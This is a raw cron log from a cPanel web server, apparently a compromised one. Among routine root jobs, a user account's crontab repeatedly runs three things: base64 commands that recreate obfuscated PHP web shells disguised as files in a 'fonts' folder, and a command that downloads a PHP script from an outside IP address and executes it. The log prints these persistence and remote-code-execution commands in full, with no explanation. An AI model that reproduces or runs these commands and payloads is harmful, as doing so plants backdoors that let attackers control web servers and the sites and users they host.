Sep  7 04:34:01 ip-184-168-122-23 CROND[15564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15688]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15689]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:35:01 ip-184-168-122-23 CROND[15691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:35:01 ip-184-168-122-23 CROND[15695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:36:01 ip-184-168-122-23 CROND[15815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:36:01 ip-184-168-122-23 CROND[15816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:36:01 ip-184-168-122-23 CROND[15818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:36:01 ip-184-168-122-23 CROND[15821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:36:01 ip-184-168-122-23 CROND[15819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:37:01 ip-184-168-122-23 CROND[15943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:37:01 ip-184-168-122-23 CROND[15946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:37:01 ip-184-168-122-23 CROND[15945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:37:01 ip-184-168-122-23 CROND[15947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:38:01 ip-184-168-122-23 CROND[16063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:38:01 ip-184-168-122-23 CROND[16065]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  7 04:38:01 ip-184-168-122-23 CROND[16066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:38:01 ip-184-168-122-23 CROND[16068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:38:01 ip-184-168-122-23 CROND[16069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:38:01 ip-184-168-122-23 CROND[16070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:39:01 ip-184-168-122-23 CROND[16261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:39:01 ip-184-168-122-23 CROND[16262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:39:01 ip-184-168-122-23 CROND[16263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:39:01 ip-184-168-122-23 CROND[16265]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 04:39:01 ip-184-168-122-23 CROND[16266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:40:01 ip-184-168-122-23 CROND[16467]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:40:01 ip-184-168-122-23 CROND[16479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:40:01 ip-184-168-122-23 CROND[16480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:41:01 ip-184-168-122-23 CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:41:01 ip-184-168-122-23 CROND[16609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:41:01 ip-184-168-122-23 CROND[16611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:41:01 ip-184-168-122-23 CROND[16610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:42:01 ip-184-168-122-23 CROND[16716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:42:01 ip-184-168-122-23 CROND[16718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:42:01 ip-184-168-122-23 CROND[16719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:42:01 ip-184-168-122-23 CROND[16720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:42:01 ip-184-168-122-23 CROND[16722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:43:01 ip-184-168-122-23 CROND[16848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:43:01 ip-184-168-122-23 CROND[16849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:43:01 ip-184-168-122-23 CROND[16852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:43:01 ip-184-168-122-23 CROND[16851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:44:01 ip-184-168-122-23 CROND[16969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:44:01 ip-184-168-122-23 CROND[16970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:44:01 ip-184-168-122-23 CROND[16972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:44:01 ip-184-168-122-23 CROND[16974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:44:01 ip-184-168-122-23 CROND[16976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17163]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:45:01 ip-184-168-122-23 CROND[17170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:46:01 ip-184-168-122-23 CROND[17300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:46:01 ip-184-168-122-23 CROND[17303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:46:01 ip-184-168-122-23 CROND[17304]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
